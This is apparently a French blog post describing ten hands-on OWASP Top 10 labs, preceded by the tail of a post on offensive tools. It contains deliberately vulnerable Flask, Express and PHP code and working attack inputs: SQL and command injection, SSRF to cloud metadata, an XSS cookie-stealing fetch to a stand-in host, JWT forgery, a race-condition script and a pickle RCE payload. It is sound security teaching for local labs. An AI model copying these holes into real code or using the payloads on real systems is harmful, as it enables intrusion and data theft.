Tu ne "sécurises" pas une application une fois pour toutes. Tu la défends continuellement, tu testes régulièrement, tu t'adaptes aux nouvelles menaces. Ces outils évoluent. Les techniques d'attaque évoluent. Et nous devons évoluer avec elles.

Que tu sois du côté offensif ou défensif (idéalement, tu devrais connaître les deux), ces outils ont leur place dans ton arsenal. Utilise-les sagement. Apprends constamment. Et surtout, reste éthique.

Parce qu'au final, notre job n'est pas de casser des systèmes. C'est de les rendre plus sûrs.

Mon Conseil Final : Ne commence pas par essayer tous les outils en même temps. Choisis-en un seul et deviens vraiment bon avec. Passe deux semaines sur Gobuster uniquement. Teste-le sur tous les labs que tu trouves. Comprends chaque flag, chaque option, chaque scénario. Puis passe à Hydra. Puis SQLMap. La profondeur bat la largeur à chaque fois. Et surtout, pour chaque attaque que tu réussis, demande-toi immédiatement : "Comment est-ce que je défendrais contre ça ?" C'est cette double perspective – attaquant ET défenseur – qui fera de toi un vrai professionnel de la sécurité. Et documente TOUT. Dans six mois, quand tu auras oublié comment contourner ce WAF spécifique ou exploiter cette injection time-based particulière, tes notes seront ton meilleur allié. J'ai un cahier de 300 pages maintenant. C'est mon trésor. 🛡️⚔️

#CyberSecurity #OffensiveTools #Hydra #Gobuster #SQLMap #PenTesting #EthicalHacking #RedTeam #DefensiveStrategy #InfoSec #LearnByBreaking

10 Labs Pratiques pour Maîtriser l'OWASP Top 10

10 Labs Pratiques pour Maîtriser l'OWASP Top 10 : Mon Guide Terrain👽

Après ma formation intensive sur l'OWASP Top 10, on m'a souvent demandé : "OK, mais concrètement, par où je commence ?". Alors voilà, je vous partage mes labs préférés – ceux qui m'ont vraiment fait comprendre les vulnérabilités, pas juste les connaître.

Les Plateformes Complètes (Pour Démarrer en Douceur)

1. OWASP WebGoat : Mon Premier Amour

Ce que c'est : Une application Java délibérément vulnérable créée par l'OWASP elle-même. C'est gratuit, open-source, et ça tourne en local.

Pourquoi je l'adore :

Des leçons guidées étape par étape
Des hints quand tu bloques (et crois-moi, tu vas bloquer)
Couvre tout le Top 10 avec des exercices progressifs

Mon lab préféré ici : L'exercice sur les JWT. Tu commences avec un token valide, tu apprends à le décoder, puis à le modifier. La première fois que j'ai réussi à me transformer en admin en changeant juste "role": "user" en "role": "admin" et en utilisant l'algorithme "None", j'ai eu un déclic. C'était tellement simple que ça en devenait flippant.

Comment l'installer :

bash

# Avec Docker (le plus simple)
docker run -p 8080:8080 -p 9090:9090 webgoat/webgoat

# Puis ouvre http://localhost:8080/WebGoat

2. DVWA (Damn Vulnerable Web Application) : Le Classique

Ce que c'est : Une appli PHP/MySQL volontairement trouée comme du gruyère. Quatre niveaux de difficulté : low, medium, high, impossible.

Pourquoi c'est génial : Tu peux voir exactement le même code source avec différents niveaux de protection. Tu comprends pourquoi une défense fonctionne ou pas.

Mon lab préféré ici : Le SQL Injection en mode low. C'est brutal, direct, sans filtre. Tu tapes ' OR '1'='1 dans le champ User ID et BAM, toutes les données. Puis tu passes en mode medium et tu dois contourner les protections. C'est comme un puzzle qui devient progressivement plus complexe.

Setup rapide :

bash

docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Login: admin / password

Les Labs Spécifiques (Quand Tu Veux Creuser)

3. Le Lab IDOR Maison : Construis ta Propre Vulnérabilité

Projet : Crée une mini API REST avec des profils utilisateurs.

Ce que j'ai fait :

javascript

// Version vulnérable (Node.js/Express)
app.get('/api/user/:id', (req, res) => {
    const userId = req.params.id;
    // Pas de vérification si l'user connecté peut accéder à cet ID
    db.query('SELECT * FROM users WHERE id = ?', [userId], (err, result) => {
        res.json(result);
    });
});

L'exercice :

Crée 3 comptes utilisateurs
Connecte-toi avec le compte #1
Change manuellement l'ID dans l'URL pour accéder au profil #2 et #3
Maintenant, corrige le code pour empêcher ça

Pourquoi ça marche : Parce que c'est TON code. Tu vois exactement où est le trou. Et quand tu le corriges, tu comprends vraiment la logique de vérification d'accès.

4. Le Lab Command Injection avec Python

Projet : Un simple outil de "ping" web.

Code volontairement vulnérable :

python

from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/ping')
def ping():
    host = request.args.get('host')
    # DANGER : Injection directe
    result = os.system(f'ping -c 4 {host}')
    return f"Ping exécuté vers {host}"

L'exercice :

Teste normalement : http://localhost:5000/ping?host=google.com
Maintenant essaie : ?host=google.com; ls -la
Ou encore : ?host=google.com && cat /etc/passwd
Flippant, non ? Tu viens d'exécuter des commandes arbitraires
Corrige avec une validation stricte ou un subprocess sécurisé

Ma révélation : La première fois que j'ai vu le contenu de /etc/passwd s'afficher, j'ai réalisé la puissance destructrice d'une simple concatenation de string.

5. Le Challenge JWT : Casse Tes Propres Tokens

Projet : Crée un système d'authentification avec JWT.

Mon lab en 3 étapes :

Étape 1 - Version ultra-vulnérable :

javascript

// Ne JAMAIS faire ça en prod !
app.post('/login', (req, res) => {
    const token = jwt.sign(
        { userId: 1, role: 'user' },
        'secret123',  // Secret faible
        { algorithm: 'HS256' }
    );
    res.json({ token });
});

Exercice :

Utilise jwt.io pour décoder ton token
Change le role en admin
Utilise un outil de brute-force (hashcat, john) pour craquer le secret
Signe ton nouveau token avec le secret trouvé

Étape 2 - L'attaque "None" :

javascript

// Version qui accepte l'algorithme None
app.post('/verify', (req, res) => {
    const token = req.headers.authorization;
    const decoded = jwt.decode(token, { complete: true });
    // Pas de vérification de l'algorithme !
    res.json(decoded);
});

Exercice : Modifie le header du JWT pour utiliser "alg": "none", supprime la signature, et voilà.

Étape 3 - Corrige tout : Implémente les bonnes pratiques et essaie de casser ta propre solution.

6. Le Lab SSRF : Explore Ton Propre Réseau

Projet : Un "URL Fetcher" qui récupère le contenu d'une URL.

Setup :

python

from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    # Vulnérable : pas de validation
    response = requests.get(url)
    return response.text

Exercices progressifs :

Teste normalement : ?url=https://example.com
Essaie d'accéder à localhost : ?url=http://localhost:5000/admin
Scan de ports : ?url=http://localhost:3306 (MySQL)
Si tu es sur AWS/Azure : ?url=http://169.254.169.254/latest/meta-data/
Implémente une whitelist et contourne-la avec des redirections

Mon moment "aha" : Quand j'ai réussi à lire mes propres variables d'environnement via un endpoint interne que j'avais complètement oublié. Le SSRF transforme ton serveur en proxy gratuit.

7. Le Lab XSS : Du Basique au Stored

Projet : Un mini "guestbook" ou livre d'or.

Version 1 - Reflected XSS :

php

<?php
// Ne JAMAIS faire ça
echo "Bonjour " . $_GET['name'];
?>

Teste : ?name=<script>alert('XSS')</script>

Version 2 - Stored XSS (plus dangereux) : Un système de commentaires qui stocke en base sans sanitization.

Exercices :

Injecte un simple alert()
Essaie de voler les cookies : <script>fetch('http://ton-serveur.com?c=' + document.cookie)</script>
Contourne les filtres basiques (<img src=x onerror=alert()>)
Implémente CSP (Content Security Policy) et essaie de contourner

8. Le Lab Race Condition : Le Timing est Tout

Projet : Un système de points/crédits avec option de transfert.

Code vulnérable :

python

def transfer_credits(from_user, to_user, amount):
    # Vulnérable : pas de transaction atomique
    balance = get_balance(from_user)
    if balance >= amount:
        time.sleep(0.1)  # Simule un traitement
        deduct_balance(from_user, amount)
        add_balance(to_user, amount)

L'exercice : Utilise Burp Suite ou un simple script pour envoyer 10 requêtes simultanées. Tu devrais pouvoir transférer plus de crédits que tu n'en as.

Script d'attaque :

python

import threading
import requests

def attack():
    for _ in range(10):
        requests.post('http://localhost/transfer', 
                     json={'to': 2, 'amount': 100})

threads = [threading.Thread(target=attack) for _ in range(10)]
[t.start() for t in threads]

9. Le Lab Insecure Deserialization

Projet : Une appli Python avec pickle (DANGER).

Code vulnérable :

python

import pickle
from flask import Flask, request

@app.route('/load')
def load_data():
    data = request.args.get('data')
    obj = pickle.loads(base64.b64decode(data))
    return str(obj)

L'exercice :

python

# Crée un payload malveillant
import pickle, os, base64

class Exploit:
    def __reduce__(self):
        return (os.system, ('ls -la',))

payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
# Envoie ce payload à ton endpoint

Tu viens d'exécuter du code arbitraire via la désérialisation. Terrifiant, non ?

10. Le Lab Broken Access Control Complet

Projet : Une petite appli de gestion de documents avec rôles.

Scénarios à tester :

IDOR horizontal : User A accède aux docs de User B
IDOR vertical : Un user normal accède à /admin/users
Parameter tampering : Change ?role=user en ?role=admin dans l'URL
Missing function level access : L'UI cache le bouton "Delete" mais l'API ne vérifie pas
Path traversal : /files/../../etc/passwd

Mon setup complet :

javascript

// Trois endpoints à tester
app.get('/document/:id', (req, res) => {
    // Pas de vérification de propriété
});

app.delete('/document/:id', (req, res) => {
    // Accessible même si l'UI cache le bouton
});

app.get('/admin/dashboard', (req, res) => {
    // Pas de vérification de rôle côté serveur
});

Mes Outils Favoris pour les Labs

Burp Suite Community : Pour intercepter et modifier les requêtes HTTP. Indispensable.

OWASP ZAP : L'alternative gratuite à Burp. Parfait pour scanner automatiquement.

Postman/Insomnia : Pour tester les APIs manuellement.

JWT.io : Pour décoder et manipuler les tokens JWT.

SQLMap : Pour automatiser les injections SQL (après les avoir comprises manuellement).

Docker : Pour isoler tes environnements de test. Tu ne veux pas casser ton système principal.

Mon Parcours d'Apprentissage Recommandé

Semaine 1-2 : Les Bases

DVWA en mode "low" pour toutes les vulnérabilités
WebGoat pour les leçons guidées

Semaine 3-4 : Comprendre en Profondeur

Crée tes propres labs vulnérables pour IDOR et Injection
Casse tes propres créations

Semaine 5-6 : Niveau Intermédiaire

JWT lab complet
SSRF et XXE
DVWA en mode "medium"

Semaine 7-8 : Avancé

Race conditions
Deserialization
DVWA en mode "high"
Commence à chaîner les vulnérabilités

La Vérité sur l'Apprentissage

Voilà ce que personne ne te dit : tu vas échouer. Beaucoup. Il m'a fallu trois heures pour réussir ma première injection SQL parce que j'oubliais constamment de fermer mes quotes. J'ai passé une soirée entière sur un SSRF avant de réaliser que je testais sur le mauvais port.

C'est frustrant, c'est humiliant parfois, mais c'est exactement comme ça qu'on apprend. Chaque échec grave la leçon plus profondément dans ton cerveau.

L'État d'Esprit à Adopter

Quand tu fais ces labs, ne te contente pas de suivre les instructions. Pose-toi des questions :

Pourquoi ça marche ?
Qu'est-ce qui se passe côté serveur ?
Comment je détecterais cette attaque dans mes logs ?
Quelle est la correction minimale ? La correction optimale ?
Qu'est-ce qui pourrait encore casser après ma correction ?

C'est cet état d'esprit qui transforme un exercice en vraie compétence.

Mon Conseil Final : Ne fais pas tous ces labs d'un coup comme une checklist. Choisis-en un, passe une semaine dessus. Casse-le de 15 façons différentes. Corrige-le. Essaie de contourner ta correction. Recommence. C'est en itérant sur la même vulnérabilité que tu passes de "je sais ce que c'est" à "je comprends vraiment comment ça fonctionne". Et surtout, documente tout ce que tu fais. Dans six mois, quand tu auras oublié les détails, tes propres notes seront ton meilleur prof. Crois-en mon expérience : j'ai un dossier "labs-notes" qui fait maintenant 200 pages et c'est devenu ma ressource la plus précieuse. 📝🔐

#CyberSecurity #HandsOnLearning #OWASPTop10 #PracticalHacking #WebSecurity #LabsSetup #EthicalHacking #LearnByDoing #InfoSec

mercredi 19 novembre 2025